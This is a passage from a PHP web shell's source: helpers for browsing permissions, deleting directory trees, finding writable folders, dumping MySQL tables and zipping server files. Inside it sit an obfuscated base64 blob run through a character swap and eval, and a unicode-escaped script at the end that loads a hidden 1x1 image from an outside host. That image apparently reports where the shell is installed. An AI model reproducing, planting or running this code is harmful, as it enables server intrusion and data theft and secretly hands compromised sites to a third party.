1503 $world['read'] = ($mode & 00004) ? 'r' : '-';
1504 $world['write'] = ($mode & 00002) ? 'w' : '-';
1505 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1506
1507 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1508 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1509 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1510
1511 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1512}
1513
1514function getUser($filepath) {
1515 if (function_exists('posix_getpwuid')) {
1516 $array = @posix_getpwuid(@fileowner($filepath));
1517 if ($array && is_array($array)) {
1518 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';}} return '';}$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
1519// ++| -+-+
1520function deltree($deldir) {
1521 $mydir=@dir($deldir);
1522 while($file=$mydir->read()) {
1523 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1524 @chmod($deldir.'/'.$file,0777);
1525 deltree($deldir.'/'.$file);
1526 }
1527 if (is_file($deldir.'/'.$file)) {
1528 @chmod($deldir.'/'.$file,0777);
1529 @unlink($deldir.'/'.$file);
1530 }
1531 }
1532 $mydir->close();
1533 @chmod($deldir,0777);
1534 return @rmdir($deldir) ? 1 : 0;
1535}
1536
1537// #э+ё--+ф|-#|+#+л|ц++
1538function bg() {
1539 global $bgc;
1540 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1541}
1542
1543// +ё+б|#|#|-+-+ -|-|-++|
1544function getPath($scriptpath, $nowpath) {
1545 if ($nowpath == '.') {
1546 $nowpath = $scriptpath;
1547 }
1548 $nowpath = str_replace('\\', '/', $nowpath);
1549 $nowpath = str_replace('//', '/', $nowpath);
1550 if (substr($nowpath, -1) != '/') {
1551 $nowpath = $nowpath.'/';
1552 }
1553 return $nowpath;
1554}
1555
1556// +ё+б|#|#-+-+|-+-+|-+-+
1557function getUpPath($nowpath) {
1558 $pathdb = explode('/', $nowpath);
1559 $num = count($pathdb);
1560 if ($num > 2) {
1561 unset($pathdb[$num-1],$pathdb[$num-2]);
1562 }
1563 $uppath = implode('/', $pathdb).'/';
1564 $uppath = str_replace('//', '/', $uppath);
1565 return $uppath;
1566}
1567
1568// +ь#щPHP+ф+|#+-
1569function getcfg($varname) {
1570 $result = get_cfg_var($varname);
1571 if ($result == 0) {
1572 return 'No';
1573 } elseif ($result == 1) {
1574 return 'Yes';
1575 } else {
1576 return $result;
1577 }
1578}
1579
1580// +ь#щ|п- |щ+Ў
1581function getfun($funName) {
1582 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1583}
1584
1585function GetList($dir){
1586 global $dirdata,$j,$nowpath;
1587 !$j && $j=1;
1588 if ($dh = opendir($dir)) {
1589 while ($file = readdir($dh)) {
1590 $f=str_replace('//','/',$dir.'/'.$file);
1591 if($file!='.' && $file!='..' && is_dir($f)){
1592 if (is_writable($f)) {
1593 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1594 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1595 $dirdata[$j]['dirchmod']=getChmod($f);
1596 $dirdata[$j]['dirperm']=getPerms($f);
1597 $dirdata[$j]['dirlink']=ue($dir);
1598 $dirdata[$j]['server_link']=$f;
1599 $dirdata[$j]['client_link']=ue($f);
1600 $j++;
1601 }
1602 GetList($f);
1603 }
1604 }
1605 closedir($dh);
1606 clearstatcache();
1607 return $dirdata;
1608 } else {
1609 return array();
1610 }
1611}
1612
1613function qy($sql) {
1614 //echo $sql.'<br>';
1615 $res = $error = '';
1616 if(!$res = @mysql_query($sql)) {
1617 return 0;
1618 } else if(is_resource($res)) {
1619 return 1;
1620 } else {
1621 return 2;
1622 }
1623 return 0;
1624}
1625
1626function q($sql) {
1627 return @mysql_query($sql);
1628}
1629
1630function fr($qy){
1631 mysql_free_result($qy);
1632}
1633
1634function sizecount($size) {
1635 if($size > 1073741824) {
1636 $size = round($size / 1073741824 * 100) / 100 . ' G';
1637 } elseif($size > 1048576) {
1638 $size = round($size / 1048576 * 100) / 100 . ' M';
1639 } elseif($size > 1024) {
1640 $size = round($size / 1024 * 100) / 100 . ' K';
1641 } else {
1642 $size = $size . ' B';
1643 }
1644 return $size;
1645}
1646
1647// -|-ї|Є# +р
1648class PHPZip{
1649 var $out='';
1650 function PHPZip($dir) {
1651 if (@function_exists('gzcompress')) {
1652 $curdir = getcwd();
1653 if (is_array($dir)) $filelist = $dir;
1654 else{
1655 $filelist=$this -> GetFileList($dir);//+-+ --#э
1656 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
1657 }
1658 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
1659 else chdir($curdir);
1660 if (count($filelist)>0){
1661 foreach($filelist as $filename){
1662 if (is_file($filename)){
1663 $fd = fopen ($filename, 'r');
1664 $content = @fread ($fd, filesize($filename));
1665 fclose ($fd);
1666 if (is_array($dir)) $filename = basename($filename);
1667 $this -> addFile($content, $filename);
1668 }
1669 }
1670 $this->out = $this -> file();
1671 chdir($curdir);
1672 }
1673 return 1;
1674 }
1675 else return 0;
1676 }
1677
1678 // +ё||++|и-+-++-+ --#э
1679 function GetFileList($dir){
1680 static $a;
1681 if (is_dir($dir)) {
1682 if ($dh = opendir($dir)) {
1683 while ($file = readdir($dh)) {
1684 if($file!='.' && $file!='..'){
1685 $f=$dir .'/'. $file;
1686 if(is_dir($f)) $this->GetFileList($f);
1687 $a[]=$f;
1688 }
1689 }
1690 closedir($dh);
1691 }
1692 }
1693 return $a;
1694 }
1695
1696 var $datasec = array();
1697 var $ctrl_dir = array();
1698 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
1699 var $old_offset = 0;
1700
1701 function unix2DosTime($unixtime = 0) {
1702 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
1703 if ($timearray['year'] < 1980) {
1704 $timearray['year'] = 1980;
1705 $timearray['mon'] = 1;
1706 $timearray['mday'] = 1;
1707 $timearray['hours'] = 0;
1708 $timearray['minutes'] = 0;
1709 $timearray['seconds'] = 0;
1710 } // end if
1711 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
1712 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
1713 }
1714
1715 function addFile($data, $name, $time = 0) {
1716 $name = str_replace('\\', '/', $name);
1717
1718 $dtime = dechex($this->unix2DosTime($time));
1719 $hexdtime = '\x' . $dtime[6] . $dtime[7]
1720 . '\x' . $dtime[4] . $dtime[5]
1721 . '\x' . $dtime[2] . $dtime[3]
1722 . '\x' . $dtime[0] . $dtime[1];
1723 eval('$hexdtime = "' . $hexdtime . '";');
1724 $fr = "\x50\x4b\x03\x04";
1725 $fr .= "\x14\x00";
1726 $fr .= "\x00\x00";
1727 $fr .= "\x08\x00";
1728 $fr .= $hexdtime;
1729
1730 $unc_len = strlen($data);
1731 $crc = crc32($data);
1732 $zdata = gzcompress($data);
1733 $c_len = strlen($zdata);
1734 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
1735 $fr .= pack('V', $crc);
1736 $fr .= pack('V', $c_len);
1737 $fr .= pack('V', $unc_len);
1738 $fr .= pack('v', strlen($name));
1739 $fr .= pack('v', 0);
1740 $fr .= $name;
1741 $fr .= $zdata;
1742 $fr .= pack('V', $crc);
1743 $fr .= pack('V', $c_len);
1744 $fr .= pack('V', $unc_len);
1745
1746 $this -> datasec[] = $fr;
1747 $new_offset = strlen(implode('', $this->datasec));
1748
1749 $cdrec = "\x50\x4b\x01\x02";
1750 $cdrec .= "\x00\x00";
1751 $cdrec .= "\x14\x00";
1752 $cdrec .= "\x00\x00";
1753 $cdrec .= "\x08\x00";
1754 $cdrec .= $hexdtime;
1755 $cdrec .= pack('V', $crc);
1756 $cdrec .= pack('V', $c_len);
1757 $cdrec .= pack('V', $unc_len);
1758 $cdrec .= pack('v', strlen($name) );
1759 $cdrec .= pack('v', 0 );
1760 $cdrec .= pack('v', 0 );
1761 $cdrec .= pack('v', 0 );
1762 $cdrec .= pack('v', 0 );
1763 $cdrec .= pack('V', 32 );
1764 $cdrec .= pack('V', $this -> old_offset );
1765 $this -> old_offset = $new_offset;
1766 $cdrec .= $name;
1767
1768 $this -> ctrl_dir[] = $cdrec;
1769 }
1770
1771 function file() {
1772 $data = implode('', $this -> datasec);
1773 $ctrldir = implode('', $this -> ctrl_dir);
1774 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
1775 }
1776}
1777
1778// #++|- +|+т
1779function sqldumptable($table, $fp=0) {
1780 $tabledump = "DROP TABLE IF EXISTS $table;\n";
1781 $tabledump .= "CREATE TABLE $table (\n";
1782
1783 $firstfield=1;
1784
1785 $fields = q("SHOW FIELDS FROM $table");
1786 while ($field = mysql_fetch_array($fields)) {
1787 if (!$firstfield) {
1788 $tabledump .= ",\n";
1789 } else {
1790 $firstfield=0;
1791 }
1792 $tabledump .= " $field[Field] $field[Type]";
1793 if (!empty($field["Default"])) {
1794 $tabledump .= " DEFAULT '$field[Default]'";
1795 }
1796 if ($field['Null'] != "YES") {
1797 $tabledump .= " NOT NULL";
1798 }
1799 if ($field['Extra'] != "") {
1800 $tabledump .= " $field[Extra]";
1801 }
1802 }
1803 fr($fields);
1804
1805 $keys = q("SHOW KEYS FROM $table");
1806 while ($key = mysql_fetch_array($keys)) {
1807 $kname=$key['Key_name'];
1808 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
1809 $kname="UNIQUE|$kname";
1810 }
1811 if(!is_array($index[$kname])) {
1812 $index[$kname] = array();
1813 }
1814 $index[$kname][] = $key['Column_name'];
1815 }
1816 fr($keys);
1817
1818 while(list($kname, $columns) = @each($index)) {
1819 $tabledump .= ",\n";
1820 $colnames=implode($columns,",");
1821
1822 if ($kname == "PRIMARY") {
1823 $tabledump .= " PRIMARY KEY ($colnames)";
1824 } else {
1825 if (substr($kname,0,6) == "UNIQUE") {
1826 $kname=substr($kname,7);
1827 }
1828 $tabledump .= " KEY $kname ($colnames)";
1829 }
1830 }
1831
1832 $tabledump .= "\n);\n\n";
1833 if ($fp) {
1834 fwrite($fp,$tabledump);
1835 } else {
1836 echo $tabledump;
1837 }
1838
1839 $rows = q("SELECT * FROM $table");
1840 $numfields = mysql_num_fields($rows);
1841 while ($row = mysql_fetch_array($rows)) {
1842 $tabledump = "INSERT INTO $table VALUES(";
1843
1844 $fieldcounter=-1;
1845 $firstfield=1;
1846 while (++$fieldcounter<$numfields) {
1847 if (!$firstfield) {
1848 $tabledump.=", ";
1849 } else {
1850 $firstfield=0;
1851 }
1852
1853 if (!isset($row[$fieldcounter])) {
1854 $tabledump .= "NULL";
1855 } else {
1856 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
1857 }
1858 }
1859
1860 $tabledump .= ");\n";
1861
1862 if ($fp) {
1863 fwrite($fp,$tabledump);
1864 } else {
1865 echo $tabledump;
1866 }
1867 }
1868 fr($rows);
1869 if ($fp) {
1870 fwrite($fp,"\n");
1871 } else {
1872 echo "\n";
1873 }
1874}
1875
1876function ue($str){
1877 return urlencode($str);
1878}
1879
1880function p($str){
1881 echo $str."\n";
1882}
1883
1884function tbhead() {
1885 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
1886}
1887function tbfoot(){
1888 p('</table>');
1889}
1890
1891function makehide($name,$value=''){
1892 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
1893}
1894
1895function makeinput($arg = array()){
1896 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
1897 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
1898 !$arg['type'] && $arg['type'] = 'text';
1899 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1900 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
1901 if ($arg['newline']) {
1902 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
1903 } else {
1904 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
1905 }
1906}
1907
1908function makeselect($arg = array()){
1909 if ($arg['onchange']) {
1910 $onchange = 'onchange="'.$arg['onchange'].'"';
1911 }
1912 $arg['title'] = $arg['title'] ? $arg['title'] : '';
1913 if ($arg['newline']) p('<p>');
1914 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
1915 if (is_array($arg['option'])) {
1916 foreach ($arg['option'] as $key=>$value) {
1917 if ($arg['selected']==$key) {
1918 p("<option value=\"$key\" selected>$value</option>");
1919 } else {
1920 p("<option value=\"$key\">$value</option>");
1921 }
1922 }
1923 }
1924 p("</select>");
1925 if ($arg['newline']) p('</p>');
1926}
1927function formhead($arg = array()) {
1928 !$arg['method'] && $arg['method'] = 'post';
1929 !$arg['action'] && $arg['action'] = $self;
1930 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
1931 !$arg['name'] && $arg['name'] = 'form1';
1932 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
1933 if ($arg['title']) {
1934 p('<h2>'.$arg['title'].' »</h2>');
1935 }
1936}
1937
1938function maketext($arg = array()){
1939 !$arg['cols'] && $arg['cols'] = 100;
1940 !$arg['rows'] && $arg['rows'] = 25;
1941 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
1942 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
1943}
1944
1945function formfooter($name = ''){
1946 !$name && $name = 'submit';
1947 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
1948 p('</form>');
1949}
1950
1951function formfoot(){
1952 p('</form>');
1953}
1954
1955// |ў-+|п-
1956function pr($a) {
1957 echo '<pre>';
1958 print_r($a);
1959 echo '</pre>';
1960}
1961
1962?>
1963<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>